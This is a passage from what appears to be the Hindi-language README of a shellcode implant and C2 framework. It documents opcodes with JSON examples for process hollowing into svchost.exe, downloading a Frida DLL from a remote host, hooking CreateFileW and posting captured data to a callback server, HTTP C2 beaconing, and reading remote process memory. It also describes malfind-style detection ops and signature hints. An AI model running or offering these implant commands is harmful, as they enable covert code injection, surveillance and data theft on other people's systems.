| { "op": "hollow_apc", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 } | ||
| { "op": "hollow_apc", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe" } |
---
### frida_hook (0x3F)
एक URL से Frida gadget DLL डाउनलोड करें (पहले डाउनलोड के बाद कैश्ड) और एक JavaScript हुक स्थापित करें।
| क्षेत्र | प्रकार | |
|-------|------|-|
| url | string | **आवश्यक** |
| script | string | **आवश्यक** (Frida के API का उपयोग करने वाला JavaScript) |
| name | string | *वैकल्पिक* (बाद में `frida_unhook` के साथ संदर्भ के लिए हुक नाम) |
| callback_host | string | *वैकल्पिक* (HTTP POST `send()` संदेश भेजने के लिए होस्ट) |
| callback_port | u16 | *वैकल्पिक* |
| batch_size | u32 | *वैकल्पिक* (प्रति HTTP POST बैच में संदेश; डिफ़ॉल्ट: `50`) |
| flush_interval | u32 | *वैकल्पिक* (ms में फ्लश अंतराल; डिफ़ॉल्ट: `5000`) |
JavaScript में `send()` के माध्यम से भेजे गए संदेश या तो `callback_host:callback_port/frida` पर पोस्ट किए जाते हैं या यदि कोई कॉलबैक कॉन्फ़िगर नहीं किया गया है तो stdout पर लिखे जाते हैं।```json
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "Interceptor.attach(Module.findExportByName('kernel32.dll', 'CreateFileW'), { onEnter: function(args) { send(args[0].readUtf16String()); } });" }
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "...", "name": "my_hook", "callback_host": "10.0.0.5", "callback_port": 8080 }
एक Frida हुक को अनलोड करें। बिना किसी तर्क के, सभी हुक अनलोड हो जाते हैं।
| फ़ील्ड | प्रकार | |
|---|---|---|
| hook_id | i32 | वैकल्पिक (frida_hook द्वारा लौटाया गया हुक ID) |
| name | string | वैकल्पिक (frida_hook name फ़ील्ड के साथ सेट किया गया हुक नाम) |
| { "op": "frida_unhook" } | ||
| { "op": "frida_unhook", "hook_id": 1 } | ||
| { "op": "frida_unhook", "name": "my_hook" } |
---
### kill (0x42)
किसी चल रहे एजेंट इंस्टेंस को उसके मैजिक वैल्यू द्वारा समाप्त करें।
| Field | Type | |
|-------|------|-|
| magic | u32 hex string or number | *वैकल्पिक* (वर्तमान इंस्टेंस को समाप्त करने के लिए छोड़ दें) |```json
{ "op": "kill" }
{ "op": "kill", "magic": "0x18181818" }
एक HTTP C2 सर्वर से कनेक्ट करें और बाइटकोड कार्यों के लिए पोल करें।
| क्षेत्र | प्रकार | |
|---|---|---|
| host | string | वैकल्पिक |
| port | u16 | वैकल्पिक (डिफ़ॉल्ट: 80) |
| interval | u32 | वैकल्पिक (मिलीसेकंड में पोल अंतराल; डिफ़ॉल्ट: 5000) |
| secure | bool | वैकल्पिक (डिफ़ॉल्ट: false) |
| agent_id | string | वैकल्पिक (बीकॉन अनुरोधों में भेजा गया पहचानकर्ता) |
| { "op": "http_beacon", "host": "10.0.0.1", "port": 443, "interval": 10000, "secure": true } |
---
### mem_read (0x44)
वर्तमान या दूरस्थ प्रक्रिया में मेमोरी पते से रॉ बाइट्स पढ़ें।
| फ़ील्ड | प्रकार | |
|-------|------|-|
| address | hex string | **आवश्यक** (पता हेक्स वर्णों के रूप में, जैसे `"7FFE0030"`; `0x` उपसर्ग अपने आप हटा दिया जाता है) |
| size | u32 | **आवश्यक** |
| pid | u32 | *वैकल्पिक* (दूरस्थ प्रक्रिया; स्थानीय पढ़ने के लिए छोड़ें) |```json
{ "op": "mem_read", "address": "7FFE0030", "size": 64 }
{ "op": "mem_read", "address": "0x7FFE0000", "size": 256, "pid": 1234 }
{ "op": "mem_read", "address": "$0", "size": 128 }
PEB LDR InLoadOrderModuleList को ट्रैवर्स करें और लोडेड मॉड्यूल लौटाएं। postcard-serialized Vec<ProcessResult<ModuleInfo>> लौटाता है।
| Field | Type | |
|---|---|---|
| pid | u32 or "all" | वैकल्पिक (छोड़ें = वर्तमान प्रक्रिया; "all" = हर सुलभ प्रक्रिया) |
| { "op": "dll_list" } | ||
| { "op": "dll_list", "pid": 1234 } | ||
| { "op": "dll_list", "pid": "all" } |
---
### mem_map (0x46)
गणना करें वर्चुअल मेमोरी क्षेत्रों की `VirtualQuery`/`VirtualQueryEx` के माध्यम से। पोस्टकार्ड-सीरियलाइज़्ड `Vec<ProcessResult<MemRegion>>` लौटाता है। FREE क्षेत्रों को छोड़ता है; IMAGE क्षेत्रों में मॉड्यूल नाम और PE अनुभाग शामिल होता है।
| फ़ील्ड | प्रकार | |
|-------|------|-|
| pid | u32 या `"all"` | *वैकल्पिक* (हटाएं = वर्तमान प्रक्रिया; `"all"` = हर सुलभ प्रक्रिया) |```json
{ "op": "mem_map" }
{ "op": "mem_map", "pid": 1234 }
{ "op": "mem_map", "pid": "all" }
कमिटेड प्राइवेट एक्जीक्यूटेबल मेमोरी क्षेत्र खोजें — इंजेक्ट किए गए शेलकोड या रिफ्लेक्टिव DLL के संकेतक। सभी-शून्य पृष्ठों को छोड़ें और MZ हेडर वाले क्षेत्रों को नोट करें। पोस्टकार्ड-सीरियलाइज़्ड Vec<ProcessResult<MalfindHit>> लौटाता है।
| Field | Type | |
|---|---|---|
| pid | u32 or "all" | वैकल्पिक (omit = वर्तमान प्रक्रिया; "all" = सभी सुलभ प्रक्रियाएँ) |
| { "op": "malfind" } | ||
| { "op": "malfind", "pid": 1234 } | ||
| { "op": "malfind", "pid": "all" } |
---
### ldr_check (0x48)
PEB मॉड्यूल सूची के विरुद्ध IMAGE मेमोरी क्षेत्रों का क्रॉस-रेफरेंस करें ताकि अनलिंक या छिपी हुई DLLs ढूंढी जा सकें — ऐसे क्षेत्र जिनमें MZ हेडर हैं लेकिन `InLoadOrderModuleList` में मौजूद नहीं हैं। `Vec<ProcessResult<LdrCheckHit>>` का पोस्टकार्ड-सीरियलाइज़्ड रिटर्न करता है।
| फ़ील्ड | प्रकार | |
|-------|------|-|
| pid | u32 या `"all"` | *वैकल्पिक* (छोड़ें = वर्तमान प्रक्रिया; `"all"` = प्रत्येक सुलभ प्रक्रिया) |```json
{ "op": "ldr_check" }
{ "op": "ldr_check", "pid": 1234 }
{ "op": "ldr_check", "pid": "all" }
सभी फ्रेमवर्क की तरह, इम्प्लांट का मेमोरी में एक विशिष्ट फुटप्रिंट होता है, और कई सादे टेक्स्ट स्ट्रिंग्स जो इसे उजागर करती हैं। आप बेस शेलकोड फ़ाइल out/shellcode.bin से सिग्नेचर बना सकते हैं।
यह प्रोजेक्ट safedev द्वारा Rustic64Shell का विस्तार है।
पुनरावर्ती रूप से लोड किया गया Python DLL farfella से है।